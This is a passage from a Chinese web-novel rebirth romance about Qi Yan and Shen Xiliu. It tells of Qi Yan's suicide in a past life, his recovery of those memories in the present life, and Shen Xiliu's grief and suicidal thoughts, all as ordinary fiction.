太过于久远而让人怀念的身影与声音,让近乎失控的情绪稳定了下来。祁厌有些无力,他感觉自己好像和小时候的自己没有区别,这么多年过去了,依然从未长大,还在思念着温柔的母亲,无法从过去的阴影走出来。 “妈,对不起,对不起对不起,对不起对不起对不起……” 祁厌茫然无措地道着歉,他感觉到母亲的手轻轻抚摸着他的头,痛苦都在消失。 【衍之,不用道歉,你永远都不用向我道歉。】 母亲安抚着他的情绪,伸手拉着他的手,言笑晏晏地说。 【头很疼吧?】 【跟我来吧,衍之。】 【只要和我一起,你就再也不用这么痛苦了。】 祁厌望着她的身影,其他人的声音再也听不见。 他的眼眸逐渐变得恍惚,小时候,妈妈也经常牵着他的手,带他去温室里玩,一如现在。 “……好。” 第102章 前世 生日快乐 等祁厌恢复正常, 已经好几个小时过去。 江与青给他发了短信留言,等他出院以后,大家再好好聚聚。然后又提醒祁厌, 他在医院外面见到沈溪流了,并且发了一个极其厌恶的表情。 早在江与青生完孩子一段时间以后, 祁厌就把顾燕行的死和自己有关系的这件事情, 告知了对方。 没把和沈溪流的所有事情都说出来,而是选择性地说,将错误全部归于自己的身上。 “这样啊……”江与青愣了很长时间, 表情变得更生气了,“这和你有什么关系?是那个混蛋自己选的!你又没有让他忽视自己的命,你也没让他开车去撞易鸿立, 这不都是他自己不肯走出来, 什么都不想要吗?!” 江与青很激动,甚至气得哭了出来。 顾燕行凭什么一意孤行,作出这种选择啊?或许和祁厌有那么一点关系,但更多的是他自己过不去心里那一关,最终选择用自己的命和易鸿立一换一,根本没有考虑过还活着的人! 江与青有时候挺恨他, 或许对祁厌和沈溪流多少有一点点埋怨。假如祁厌没有泄露踪迹, 假如沈溪流没有暴露顾燕行的踪迹, 说不定现在就不一样了。 但江与青还保留着理智, 那一抹情绪很快就淡去, 他知道自己真正该恨的人是谁——易鸿立。 毕竟顾燕行的父母都因为他而死,才导致顾燕行精神崩溃,又一步步把他逼到以命换命;而祁厌不知道自己居然会间接暴露顾燕行的踪迹,导致他被易鸿立发现;沈溪流也只是拿出了破坏自己妹妹婚礼的真凶照片。 他们只是各自站在各自的位置, 作出他应该做的选择罢了。 …… 又来了吗? 祁厌站到窗帘后,往下瞥了一眼那道熟悉的身影,很快就平静地收回目光。 时间过得越长,他越发现易鸿立的阴险,易鸿立在监狱里活得不痛快,于是拉着他们一起下水,让所有人都和他一样活得不痛快。 包括易扬也一样。 前段时间还想着报仇,藏着匕首过来接近他,结果被沈溪流留在附近的保镖摁在地上,连接近祁厌身边都做不到。 看着他那疯狂可悲的模样,祁厌突然觉得自己和沈溪流真可笑。过了那么长的时间,居然依然留在易鸿立的陷阱里,他该恨沈溪流吗? 刚知道当年的真相时,多少有点吧。 祁厌做不到像江与青那样洒脱,所以他恨易鸿立、恨沈溪流、更恨自己。 但是不能继续这样下去了,他的病越来越严重,心理越发排斥药物,或许哪一天就受不了,放弃吃药,如同其他病人一样,在精神紊乱的时候,选择用自杀结束这可悲的命运。 明明不想死的。 …… “对不起,我马上就离开。” 沈溪流知道祁厌不愿意再看见自己,所以自那以后,他就几乎没有出现在祁厌的面前,易扬那一次是意外。 他让人将易扬带走,自己也惊慌失措地从祁厌的眼前消失。 尽管没有近距离地见面,但他一直很清楚祁厌的情况。那件事情给他带来的打击太大,总是反反复复地进出医院,最开始甚至拒绝了沈家的帮助,就连沈云殊也不想接触,毕竟沈家在那件事情上,也算是“帮凶”吧? 祁厌打从心里地抗拒与沈家有任何接触,连沈云殊给他的药物也被丢弃了,无论是江与青还是张衡一都劝不动他。 最后还是沈溪流打电话告诉祁戈和祁妍,两人从C市连夜赶过来,才让他松了口。 如今的祁厌可以拒绝任何人,唯独拒绝不了祁戈和祁妍。 祁厌的病好好坏坏,进院了又出院,反反复复地度过这些折磨的日子。沈溪流也一直藏在角落里观察着他的情况,盯着他的病历,想尽办法也只能稍微减缓一些痛苦,可祁厌一旦陷入精神紊乱的时候,就会失控自残。 沈溪流曾经在这种时候闯入进去,失控的祁厌一度想要杀死他,但最终伤害到的只是自己。 恢复清醒以后,又忘记沈溪流闯进来的事情。 不过自从易扬的事情以后,祁厌的情况好像稳定很多。 沈溪流从主治医生处拿到祁厌的病历,看完以后却从未松口气,也从未解脱过。明明自从那件事情以后,已经过了快两年,但他依然无法走出,终日惶惶不安,每一天都在恐惧祁厌的病恶化。 不想他死的,所以一直以来都在想尽办法救他,PHY科学研究所早已开始对信息素暴动症进行研究,或许有点痴心妄想,但沈溪流始终希冀着奇迹的发生,说不定……真的能找到救祁厌的办法呢? 元旦节很热闹,祁厌的情况已经稳定许多。每逢节日,星月湾都会放烟花,知道祁厌情况稳定的朋友邀请他过来聚餐,是以前他们曾经没订上的好位置。 “这次运气不错,我们可以慢慢吃饭聊天了。”朋友说道,他们选了一个好包厢,能够清楚看到放烟花的地方。 如果放在以往的时候,这个时候外面的街道已经有许多人出现,但大概是因为风雪太大,星月湾街上的行人零零散散。 一直到风雪停下,开始放烟花,道路上聚集的人变得越来越多,原先说好在包厢里看的朋友们,也忍不住下去凑热闹,毕竟人多更加高兴。 “麻烦你了,这小子很重吧。”江与青揉着酸痛的手臂,抱不住自家小崽子了。 祁厌帮忙抱着昏昏欲睡的宝宝,原先看得最起劲的小家伙,一过了十点钟,就准时地打起瞌睡,圆润的下巴搭在大人的肩膀,就闭着眼睡了过去。 “还行吧,挺轻的,小孩子能重到哪里去。” 祁厌帮宝宝戴好帽子,连软乎乎的小胖脸都快挤入他怀里,街上喧哗的声音,丝毫没有吵到他,睡得格外香甜。 “嘿!一听就知道你没养过小孩。”江与青转动着肩膀,不屑道,“那是你才抱一会儿,多抱一下,就知道手臂麻痹是什么感觉了,这小子可胖了。” “下次还是不带他出来了,本来就不想带,偏偏他太粘人。”江与青伸手戳了戳他儿子的奶膘,自我感觉美滋滋,他养娃很是不错。 祁厌捂着宝宝的耳朵,让他睡得安静点:“才一岁多点,离不开大人很正常。” “不用那么小心,他无论什么时候都睡得像小猪似的,你怎么比他爹更像爹啊,要是你有……”江与青说到一半就停了下来。 他想说如果祁厌要是有自己的小孩的话,肯定会是个好父亲,不过一考虑到祁厌的身体状况,就把话收了回去,换了一句。 “这里确实太吵了,我还是不和你们一起凑热闹了,先带我家小猪离开吧。” 祁厌没让他一个人回去,帮忙抱着孩子,和其他人说了一声,在大家揶揄的目光下离开。角落里的游弋手指勾了勾墨镜,看向某个方向,果不其然,在那个角落里看见了他的表哥。 不知道从什么时候开始,以前对烟花没有任何兴趣的沈溪流,变得对烟花格外有了兴致,每次星月湾要放烟花的时候,他都会过来这里看到烟花结束才离开。 两年了,沈溪流的这个习惯依然没有改变。 只是今夜的心情格外复杂,他已经不会像过去那样冲动,但再看见祁厌和江与青、那个小孩像是一家三口地凑在一起说话,沈溪流心底依然一片酸涩。 不想看见这种画面的,但是看见祁厌高兴的样子时,又无法移开视线。 沈溪流忍不住去想,如果当初没有那么多事情发生,如果他和祁厌之间能有一个孩子的话,现在是不是会变得不一样呢? 不知道,一切都只是假设,漫天的绚丽烟花也无法让他高兴起来。 沈溪流甚至不知道和祁厌一起看烟花会是什么样的心情,明明曾经有机会的,但偏偏被他错过了这个机会,然后就彻底失去了。 “不回去吗?” 不知道过了多久,烟花已经结束,人群已经散开,星月湾变得静谧无声,细密的雪花从夜空中飘落。沈溪流坐在树下的长椅,一动不动,仿佛感觉不到寒冷一样。 “已经过了零点。”游弋用伞尖戳了戳他的脚边,“元旦之后……也是你的生日,别在这种地方待着,爸爸让你今天回家。” 无论过了多久,看见沈溪流这幅样子,游弋始终觉得好陌生,根本不是他那打骨子里就傲慢的表哥。 “……知道了。”沈溪流没有动弹,只是望着远处波光粼粼的湖面,白雪飘落融入水中,就再也看不见了。 游弋是什么时候离开,他根本不知道,只是想多待一会。沈溪流知道后悔没用,但他依然忍不住去想,如果能有机会改变过去的话,那该有多好,明明他和祁厌不应该是这样的结果。 不知过了多久,游弋丢在一旁的伞被一只修长苍白的手掌拿过,缓慢打开,遮掩住了沈溪流的视线。 这让他有些不开心,但不显情绪地抬眼看去,道:“我说了,我会准时回去,你别再来……” 声音戛然而止,沈溪流下意识睁大眼睛看着来人,一脸愕然地望着他。 “不冷吗?” 祁厌举着伞问他。他瘦了很多,即使穿着厚实的羽绒服,戴着帽子口罩,也隐隐能够看出他的变化。 “……” 沈溪流眼睛都不敢眨一下地盯着他,嗫嚅着,半天都说不出一个字。 “冷。” 好久,才挤出那么一个字。 他比祁厌穿得更薄,又是很注重形象的人,大衣衬托出清减的身形,却根本不保暖。天气太冷了,沈溪流的头发比以前长了许多,雪花落在黑发间,甚至没有融化。 就连他的脸色都苍白无血色,嘴唇也很淡,唯有眼下的三颗痣如同泪痕点缀在脸上,漆黑的眼眸望着前方,没有焦距,好似一座没有灵魂的雕像,察觉不到温度变化。 “冷了,就应该回家,你的家人在等你。”祁厌望着他说,语气是很久没有听到的平静,仿佛他们之间并没有发生过那些糟糕的事情,也不曾针锋相对过。 沈溪流不敢张嘴了,喉咙像是被一团棉花堵住,他怕一说话就发出哽咽声。 祁厌,你现在不应该来找我,不应该来关心我的…… “沈溪流,别被困在这种无聊的事情里。”祁厌说,“你的生命还很长,没有必要沉溺于痛苦中,你得走出去,别让易鸿立的阴谋得逞。” 以沈家的条件,就算沈溪流割走腺体,他也还能活很久,没必要把生命耗在他的事情上。 “……祁厌,别说了!”沈溪流终究是没忍住哭出来,为什么都这种时候了,你还能说出这种话啊! 我本来就该落得这种下场!凭什么你都这么痛苦了,作为凶手的我就可以心安理得地走出去? “……唉。” 他听见祁厌发出一声叹息,缓慢蹲了下来,正视着他的眼眸,无奈地伸手帮他擦了擦眼泪。 “别哭了,没什么好哭的。”眼泪浸透黑色的手套布料,凉到指尖上。 祁厌的情绪始终很冷静,好像所有事情都已经被他放下了:“沈溪流,你必须走出去,就当是帮我这个忙吧,对自己好一点,可以吗?” 折磨自己是没用的,祁厌不喜欢这种仇者快亲者痛的剧情,沈溪流不应该被折磨,起码不应该因为这种事情折磨自己。 “你并没有什么错,只是被人利用了,真正的罪人已经在监狱里,受到他应有的惩罚。”祁厌低声道,“你该放过自己了,我不想你变成这种样子,沈溪流,别忘了你是谁。” 别这样了。 你不应该有这种痛苦的结局,罪不至此的。 “……” 沈溪流一个字都听不进去,又一个字都没有漏听。 他很久没有看见对他这么温柔的祁厌了,偏偏经历过这么多事情以后,仍然对他这么温柔的祁厌只会让他感到更痛苦,好似拿着一把刀温柔地在他心口上缓慢戳刺着。 即使鲜血淋漓,沈溪流也舍不得放开,他只想紧紧抓住,再也不愿松手,生怕一松手,祁厌就会消失不见。 但他这次没有再那么执着地抓住祁厌的手,不肯放弃了,当祁厌想要站起身时,沈溪流便下意识松开握住他的手。 “生日快乐,你该回家了。” 你的家人还在等你,别在这种地方浪费时间,浪费生命。人要向前看,你也得继续往前走。 一个礼物被塞进了沈溪流快要冻僵的手里,祁厌把伞放在长椅上面,转身沿着绿化带缓慢走到马路边。 “嘟嘟——” 一辆停在旁边的火红色跑车按响喇叭,打开灯光照亮他要走的路。游弋坐在里面,将头伸出去,对他点了点头,小声说了句:“谢谢。” 祁厌对他摇了摇头,就转身离开了。 第103章 前世+现世 结局 【祁厌送给他的生日礼物是一对绿色宝石袖扣。 沈溪流坐在副驾驶上, 车里温度开得很足,给他苍白的脸色增添一分血色,看起来没那么苍白冷漠了。 游弋吹了个口哨:“不错哎, 寓意真不错。” 生机勃勃的颜色,很适合现在死气沉沉的沈溪流, 象征着生命与自然、宁静与平和, 也是幸运的象征。 “很适合我吗?”沈溪流语气没有一丝波澜。 “当然很适合,祁厌挺会选礼……”游弋抬脸去看他,结果刚一瞥到就吓一跳, 立马移开视线,不敢继续看沈溪流面无表情哭泣的样子。 “沈游弋。” 结果沈溪流喊了他名字,还是全名。 “在!” 游弋条件反射, 吓得浑身绷紧, 以为他要事后算账了。 “谢谢。”然而沈溪流并没有事后算账,只是轻轻道谢。 他知道,祁厌会来找他,给他赠送生日礼物,和游弋脱不开关系。一切都好像变得没那么痛苦,却又更加痛苦了。 沈溪流知道, 他原本就不可能放得下祁厌, 如今更是不可能放得下了。 祁厌的到来, 反而让他产生了许多变化。 沈溪流心想, 或许祁厌其实没有这么恨他了;或许他可以多去陪陪祁厌;或许在剩下来的时间里, 他们的关系可以缓和一下…… 然而,再多的或许,都无法抵挡接下来面临的暴风雪。 ——祁厌死在了他生日后的第一天。 元旦刚结束,应该是迎来新一年的好日子, 沈溪流原本也是这么想的,他昨日在老宅里和家人度过了生日。因为得到祁厌的祝福,沈溪流整个人的精神面貌好像都回到了过去,既然祁厌希望他变得好一些,那他一切就会照做。 已经想好今天要去医院见祁厌的沈溪流,他起得很早,但一直到中午才鼓足勇气走进医院,不断在心里整理措辞,想象接下来要说什么话…… 然而,所有腹稿都在一个病人从医院的高楼跳了下来的时候,戛然而止。 沈溪流时至今日都无法忘记当时的感受,毕竟他永远都不会认不出祁厌。他记得当时的自己就像是个神经病一样,拼命地拨开人群,疯子般地扑倒在地,试图想要把祁厌从地上抱起来,阻止猩红的血液从他的身体流出…… 他什么都听不见,什么都顾不上,喉咙传来剧痛,好久之后才发现自己发出的声音如此凄厉,就连视线也被彻底染红了,浓郁的血腥味将他包围着,本该温暖的身体在一点点流失温度,变得冰冷僵硬。 那是无法形容的痛苦,比死亡更加痛苦,他再也不想面对了。 沈溪流心想,如果他早点死就好了,这样就不用面对祁厌的死亡。 祁厌这样的人,不该用这么惨烈的方式告别这个世界。 假如,当年祁厌没有把他从马路中间拉回来,让他死在那里,或许会是一个对所有人都相当美好的事情。 这一次,再也无法逃避现实,也再也没有人能够将他从绝望的深渊里拉出来。 沈溪流是被赶过来的舅舅和游弋拉开的,否则没有人能够在一个疯子的抗拒下,接近祁厌的尸体。 高楼掉落下来的尸体死状太凄惨,沈云殊皱着眉头要帮忙清理,就被沈溪流阻止了。 他死死盯着祁厌,好像恢复了冷静。 所有事情都一手操办,除了最后将祁厌的骨灰还给了祁戈和祁妍。 沈溪流知道的,祁厌就算死了,也是想要回到家人身边,他没有资格强势地将祁厌的骨灰留在自己身边。 那段时间,很多人都担心他做出极端的事情,沈溪流却望着充满担忧的舅舅,平静说道:“我不会死的。” 起码现在不会,他现在还没有资格去死。 祁厌想要他活着,那他就得活着赎罪,活着受尽折磨,也没有资格轻易结束这段生命。 祁厌送他的生日礼物,绿色的宝石袖扣终究是染上祁厌的鲜血,也不慎被磕坏了一个。 沈溪流知道祁厌在乎什么,所以他会替祁厌照顾活着的人,他会看着江与青和他的孩子长大,帮他铺平未来的路;他会帮助祁戈和祁妍,直到他们实现梦想,结婚生子;他会照料祁厌的朋友,不让他们遇到危险…… 或许等到哪一天,还够债后,他就能够在祁厌的墓碑前以死赔罪,借此得到解脱吧。】 …… ………… “直接进来吧。” 祁厌也没想到会在沈云殊的办公室里,见到那位说是一直在出差的医生——翟徐安。 “翟医生?”祁厌一愣,看着眼前温厚敦实的人,熟悉感扑面而来,原先模糊的小时记忆好像变得清晰那么一瞬间。 “祁厌,好久不见。” 翟医生正坐在沈云殊的对面,喝着茶,表情还有些无奈。大概是因为他本来在出差,却意外被沈云殊派人给绑架回来了。 当祁厌开门进入的时候,翟医生并无意外,反而挺感慨很多年没见过他,问他和他母亲现在的情况怎么样? 前不久倒是意外在路上遇到过一次,可惜忙于出差,所以没能和夏云惬好好聊聊,不过相信有家人陪伴在身边,他们母子的生活应当比十几年前更加轻松。 祁厌收敛意外的神色,平缓和翟医生聊了几句,夏云惬一直想要拜访他,却没能找到机会,没想到翟医生现在回来了。 只是为什么自己没能记住他呢? 祁厌自认自己的记忆力不错,小时候的很多事情都仍然清晰地记得,偏偏在见到翟医生之前,对他没有太多印象,直到看到照片、听见声音,再到现在正面遇上这人,他才感到一股亲切的熟悉感。 “……上一次见到你,当时才这么高一点,没想到还能有机会再见到……”翟医生很温和亲切,仔细打量着他,言语间多有关心,仿佛曾经和他、还有夏女士相当熟稔。 他的模样如同多年未见的朋友,每一个字都说到了心坎里,让人忍不住怀念。 当天带着难得的疑惑,祁厌本想回去询问一下夏女士,不过因为沈溪流出现问题,这件事情暂时押后。 “……比起我,你更清楚一切。” 沈家主的话没有让祁厌疑惑太久,或者说,他早该想起来了。 【衍之,过来。】 梦里,夏云惬朝他招手,一举一动都很像祁厌幼时记忆里的她。 但祁厌记得夏女士已经不是这副模样,她变得更加坚强,性格也更加平和,和梦里那温柔美好的皮囊下,却藏着疯狂的姿态,是完全不一样的。 而且她更喜欢叫他小衍,而不是衍之。 不过梦里的自己好像没有意识到这一点,缓慢地朝她走去,却又突然停住脚步。 “夏云惬”缓慢对他露出温柔的笑容,柔声劝说:【衍之,过来,你不能继续待在这里,会伤害到其他人,快跟我来。】 她温柔地朝他伸出手。 对啊,继续待在这里,会伤害到其他人,他已经没有理由继续留在这里了。 只有和“夏云惬”离开,才能保护其他人,远离痛苦折磨…… 于是,他不受控制地跟上去。 祁厌像个没事人一样,跟着“夏云惬”离开了病房,坐上了电梯,来到医院的最高层。 死亡的痛苦其实只有一瞬间,但那一瞬间被无限拉长,在梦里变得极其痛苦,直到将祁厌给彻底惊醒,浑身发凉,后背冒着冷汗,本能地不断喘气。 “!!!” 大量混乱记忆如汹涌潮水在大脑里撞击着,相似的记忆,熟悉的、陌生的、又截然不同的人生经历轰然碰撞,大脑倏然紧绷起来,炸起震耳欲聋的响声,太阳穴在剧烈地跳动着,尖锐刺痛感蔓延开来。 每一段记忆碎片仿佛化作利刃,切割着祁厌的自我认知,让人失去对自我的判断,就连神经系统也被扰乱,导致意识被搅拌成乱泥,仿佛就要被错乱的记忆漩涡吞噬。 一瞬间,祁厌甚至分不清楚自己现在身处前世,还是今生! 时而是被夏云惬抓着肩膀疯狂质问的恐惧,时而是被夏云惬紧张担忧的无措;时而是和表弟朋友一起在学校里运动的愉悦,时而是独自待在角落里面对学杂费的忧心烦躁;时而是高考被阻拦失败后的怨恨,时而是高考顺利考上理想大学时的激动…… 太多太多的混乱记忆疯狂纠缠着他,祁厌几乎分不清楚哪一个是真实的自己,直到后背忽然贴上一具温暖的身体。 “祁厌,你怎么了?”沈溪流被他惊醒,慌乱一瞬,注意到祁厌按着头,发出闷哼,心底的恐惧就被担忧彻底取代,“是又做噩梦了吗?” 说出这句话时,沈溪流的眼底也闪过一抹悲痛。沈溪流知道的,他其实……一直都很清楚,自己就是祁厌所有痛苦的原因,噩梦的根源。 “还是哪里不舒服?我马上叫医生过来!”沈溪流急忙打开台灯,正要下床去拿手机,却被祁厌一把攥住手腕。 “祁厌?”沈溪流回头紧张地看他,祁厌没扭头看他,仿佛只是本能地抓住他。 祁厌没有意识到这个动作,正坐在床上尝试着冷静,柔软轻薄的被子因为动作而滑落,灯光落在他的额头上,泛着一层细密的汗,俊美立体的轮廓留下阴影,表情是形容不清楚的混乱复杂。 “……”深呼吸了几次,祁厌缓慢地转头盯着充满关切与忧心的沈溪流,下意识皱眉,流露出一丝厌恶,“为什么你会在这里?” 刚做了那种事情,沈溪流怎么还有脸出现在他面前? “?!”沈溪流的瞳孔倏地一缩,表情变得惊愕。 “不对!” 然而,还没等他反应过来,祁厌又猛地摇了摇头。 沈溪流是他男朋友,他现在因为外公外婆和妈妈的到来,所以在蹭人家的房间。 “祁厌?”看着他有些奇怪的样子,沈溪流的心脏一紧,小心翼翼开口,想要问他是不是……恢复记忆了? 却又恐惧到无法说出话。 祁厌按着自己的额头,前世今生的画面在脑海里闪烁不停,神情焦躁:“不对!是我为什么会在这里……也不对!是我自己选择在这里的……该死!” 错乱的记忆,让祁厌的心情变得无比烦躁,他松开了沈溪流的手,掀开被子下床,试图冷静下来。 可是还没走开,就反被沈溪流一把紧紧攥住衣角,无比惊恐地问他:“祁厌,你要去哪里?” 是恐惧到快要窒息的绝望声音!!! “放开。” 祁厌回头,神情好似有些不耐烦,就连声音也凉飕飕的,很像当初他们闹翻时的模样。 但刚一说完,祁厌对上沈溪流快要哭出来的无措表情时,他又忽地冷静下来,像是被人泼了一桶冰水,懊悔地拍着额头,握住沈溪流攥住自己衣角的手。 “对不起,对不起……我现在好像有些不太正常。我的脑子好乱,刚才那句并不是想要对你说的……” “我有点分不清楚自己了,沈溪流,给我点时间,让我冷静一下。” 第104章 现世 重生 错乱的记忆重叠在一起, 不断冲击着自我意识,情绪不断被拉扯,让祁厌难以控制住自己, 匆忙安慰好沈溪流。他便离开了房子,在楼下撞见晨练回来的外公, 让祁厌怔住好一会儿。 “你怎么一副奇奇怪怪的样子?”外公严肃地盯着他, 很久没看见祁厌这么慌张的模样了。 祁厌回过神来:“外公,我还有事,就先走了。” 刚看到外公那一刻, 祁厌居然有种恍若隔世的感觉。前世的记忆冲击性太大,会让他产生割裂感,明明和老人生活一起很久, 一想到前世老人在多年前就因为车祸去世, 祁厌就觉得好荒诞虚幻。 给导师和沈云殊发了信息,祁厌随便在路边找了家酒店,缓慢地整理自己混乱的记忆。 记忆是从六岁左右就开始分割,前世始终无法忘怀的一件事情,在这一世有了不同的结果。 他不再像前世那般信任易鸿立,也不再像前世那样, 丢下妈妈, 在她来寻找自己的时候, 认不出她, 让妈妈独自一人被易鸿立逼到发疯…… 祁厌躺在酒店的床上, 其实这一世,虽然有些事来得及改变了,有些事却没能改变。 即使恢复了前世的记忆,那些陌生又熟悉的记忆不断冲击着自我意识, 让幼时的他一度无法分清楚什么是现实,什么是虚假的。 于是自我意识排斥着前世记忆,整个人如同陷入前世死前的病重阶段,反而给小时候的祁厌带来大量的痛苦和阴郁。如果不是夏女士那段时间始终陪着他,祁厌也不知道自己会变成什么样子,或许会走上前世的死路吧。 那么,本来早就恢复的记忆,是什么时候消失的? 祁厌知道,他重生的节点,很早。 而不是直到十八岁以后,才缓慢复苏。 他其实早就在六岁时就重生了,只是当时六岁的自我意识,难以抵抗前世充满冲击性的记忆。 每次一想到自己未来会变成个疯子,会落得那样凄惨的下场,身边人都没有一个好结局,祁厌便终日被折磨着。直到有一天,忘记全部的记忆,重新来过,才能打出更好的结局。 在合适的时间点重生,或许是一件好事。 但在自我意识尚未健全的时候,对于一个病入膏肓的人来说,重生反而会让他陷入自我厌弃,提前走上毁灭的道路。 …… 与此同时,沈溪流也在思考着这些事情。 为什么神让他重生了,却让祁厌比他更早一步重生呢? 沈溪流无法形容自己重生时的兴奋,他回来得很早,早到什么事情都没有发生——甚至尚未和祁厌初次相遇。 大量前世记忆灌输在小时候的自己的身体里,的确很痛苦,很折磨人,但沈溪流早已习惯了,也无所谓了,这都是他该承受的,而且他无论何时都依然执着于祁厌。 所以当沈溪流知道自己重生了,并且处在一切发生之前,沈溪流就感到无比庆幸,以为老天爷终于开眼了,愿意给予他这样的机会。 一切重新来过,他就可以保护祁厌,改变他的命运,免除他的所有困境,这一次他们一定能够拥有更好的结局! 然而这都是沈溪流的想象,他本以为这次能够陪伴祁厌长大,偏偏祁厌早就在一年前就重生了。 祁厌无需他的帮助,早就和易家割裂,早就带着夏云惬离开,现在甚至终日受着前世记忆的折磨,就连夏云惬带他去看医生,都得被心理医生暗示这个孩子有精神分裂症。 沈溪流知道的那一刻,感到无比恐慌,不得不立即打消原有的计划。 他知道的,即使当初祁厌在死前说出那些宽慰他的话,也未必是真的原谅了他,所以不如假装什么都不知道,继续以这辈子的身份接近祁厌吧。 前世初次相遇的时间,沈溪流早已熟记于心。 他心慌意乱地想着,祁厌这么温柔的人,一定不可能弃他于不顾,而且这一次对方有记忆,就算是不爱他,应该也不会眼睁睁看着他死在路上吧? 沈溪流不敢打乱自己的人生,拼命冷静地想对策。 这一回,他打算继续按照自己曾经做过的事情,牵着导盲犬离开家里,中途因为绳子松开,而误入马路中间,却因为看不见而不敢到处乱走。 然而,一分一秒过去了,这次的车流没让沈溪流感觉到惊恐,却带来深入骨髓的冰冷。 沈溪流一开始还怀抱着希冀与喜悦的心情,可当心里默数的时间一点一滴流逝后,本该相逢的时间点无事发生,他依然孤寂地站在车流中间,听着车辆呼啸而过,原本默数的时间便成为了他的催命符,生命的倒计时。 “……” 站在车流中间的沈溪流逐渐变得沉默,他感到了被命运的捉弄与不甘,心口蔓延着酸涩绝望,明明以为能够盼来的重逢,变成了死寂的悲哀,如影随形的痛苦将他的灵魂一寸寸啃食殆尽。 祁厌果然很恨他,即使重生了,也没有忘掉这份恨意的源头。他宁愿他死在这里,也不想再和他有任何瓜葛,既然如此,不如就这样死去吧? 反正已经死过一次,与其再痛苦地挣扎一次,不如就死在这里吧? 只要他死了,祁厌就不会再遇到任何痛苦的事情;只要他死了,祁厌痛苦的源头就消失了;只要他死了,祁厌这辈子就不会被他这样的疯子纠缠不清…… 那一瞬间,沈溪流是真的打算去死了。 可惜,沈溪流没能死成功,交警把他给拽了回去,把他送回家。 在舅舅的追问下,他心灰意冷地说出了所有的真相,舅舅一开始是不相信重生这种荒诞的事情,但听完他说的话以后,便信任了。 “我看不仅是他的精神不正常,你也不太正常。”沈家主是个行动力很强的人,把祁厌和易家、夏家的所有事情都调查清楚了,“别摆出一副要死不活的样子,对于你来说,这明明是个很好的机会。” 沈家主帮他重新缠住绷带,沈溪流的眼睛现在还见不得光:“别一天到晚就想着死,看你这个没出息的样子,我真的很难相信你上辈子活到比我还大的年纪。” “或许吧,我停留在了他死去的那一刻。”沈溪流很平静,祁厌死去的那一刻,他也死了。后来活着的不过是一具行尸走肉,再多的经历与成长都无法改变他的时间。 因为他永远停留在那个冬天里。 “没出息。”沈家主道。 也不知道是不是被身体年龄影响到了,沈家主觉得沈溪流依然是那个偏执冷漠的小孩子。 “多动动脑子,这辈子什么都还没有发生,你们多的是机会。”他点了点沈溪流的脑袋,支着脸微笑道,“重新开始吧,傻子。” 机会是人为创造的,就算现在不能接近,沈溪流也可以创造无数机会,弥补曾经渴望的一切。祁厌曾经失去的所有,他现在都能帮他拿回来,给他一个全新的人生。 后来的所有发展,都证明了沈溪流的计划成功,他的确让祁厌活得更加轻松,寻回曾经失去的家人…… 但现在,一切好像都回归原点了。 “哗哗!”沈溪流拉开阳台的窗帘,刺眼的阳光落在他身上,昨夜下了少量雪,现在已经消失不见,他光脚站在落地窗前,眼神空洞地望着前方。 恐惧依然在心底肆意蔓延,祁厌离开前的话回荡在脑海里,他无法形容自己的心情,很害怕等祁厌思考清楚以后,会不会和他分手? 祁厌或许喜欢他,但等他想起自己上一世做过的一切,还能像现在这样喜欢他吗?会不会露出厌恶的表情看着他? 沈溪流光是回想他们有可能变回曾经那样,就害怕到浑身发抖,好想从阳台直接跳下去算了。 毕竟拥有前世记忆的祁厌,已经厌恶他厌恶到根本不愿意救他的程度。沈溪流太害怕了,情绪不断被拉扯,祁厌的离开拉长他被审判的时间线,胸腔的心跳声震耳欲聋。 “祁厌……” 沈溪流颤抖着手拉开窗户,缓慢走到阳台处,手指触碰着冰冷的围栏,目光不受控制地往下看去。本来没有恐高症,沈溪流却莫名感到眩晕感,就连全身的血液也瞬间凝固,他感觉自己像是被抛弃的孤魂,无助又绝望,只有跳下去才能解脱。 下面是坚硬的空地,如果直接跳下去,不出意外是能够死去的,就是不知道会有多疼? 沈溪流一脸麻木地想着:前世,祁厌就选择跳楼自杀,死在了他的眼前。无论过了多长时间,沈溪流都无法忘记那残忍的景象。 如果这一次,换作他死在祁厌面前,能不能换取一点他的怜悯呢? 而且,如果他跳下去,会不会还有第二次重生? 假如有的话,沈溪流希望,这一次不要再让祁厌跟着重生了,就当给予他一个改过自新的机会,让他们相爱一次吧…… “叮咚!叮咚!” 门铃声忽然响起,沈溪流被唤醒理智,猛地往后看去,下意识快步走回去,是不是祁厌回来了? 但刚走到落地窗处,沈溪流就反应过来,祁厌不会这么快回来,窗外的寒冷侵袭着他的身体,心底的激动一下子降温下去,他垂着眼帘关窗,过去开门。 敲门的是祁厌的母亲,夏云惬。 “夏姨,有事吗?”沈溪流尽量表现得温和一些,这是祁厌的母亲,他不能在她面前,做出不好的事情。 “哎呀,溪流,你真的在家啊,我还以为小衍瞎说呢。”夏云惬笑得很温柔,指了指手里的粥,“是小衍让我过来的,他说你现在很可能还在家,没吃早餐和午餐,让我给你送一份粥。” 沈溪流一听到这话,黯淡的眼睛倏然一亮,是祁厌让她过来的?刹那间,他的阴郁的心情好似雨过天晴一般,连忙请夏云惬进来。 夏云惬走了进来,将餐盒里的粥和小菜放到餐桌上,无意瞥到沈溪流赤裸的脚,柔声劝道:“你这孩子怎么和祁厌一个样,连拖鞋都没穿,就算在家里也要注意一下,这样很容易生病的……” “抱歉,刚才忘记了。”沈溪流有些尴尬,在长辈的视线下,连忙穿了拖鞋,又询问她想要喝什么,给夏云惬泡了一杯茶。 “不用这么忙活,我也是受人之托,你先吃饭吧。”夏云惬笑眯眯地说着,看着就很好脾气的样子,想来祁厌的好性格有很大一部分遗传到她了。 沈溪流对夏云惬的感情其实很复杂,祁厌的母亲和他的母亲有很多的相似,只不过前世见到的时候,她病得太严重,没给沈溪流留下太多深刻印象。 只是想到夏云惬原来的模样,沈溪流就情不自禁地想起自己的母亲,所以才在最开始的合约期间,帮助她和祁厌,真正的沈溪流确实不喜欢多管闲事,那是他的例外。 不过后来,沈溪流想通很多事情,当初不管闹到什么糟糕的地步,祁厌始终没有对他动粗,或许多少也感念他帮助过夏云惬的恩情吧。 至于会不会是喜欢他,后来的沈溪流根本不敢想,毕竟他对祁厌这么糟糕,祁厌不可能会喜欢他,没有怨恨他,就算不错了…… “味道还不错吧?小衍说你味道比较清淡,就没有放什么调料。” “嗯,很好吃,谢谢夏姨。” 望着眼前温柔的女人,沈溪流总有些幻视自己的母亲,这让他忍不住去想,如果……如果他和祁厌的母亲是一个人就好了。 这样的话,他和祁厌就是血脉相连的亲人、兄弟,他们可以从出生就在一起,至死不分离,祁厌永远都不可能甩下他。 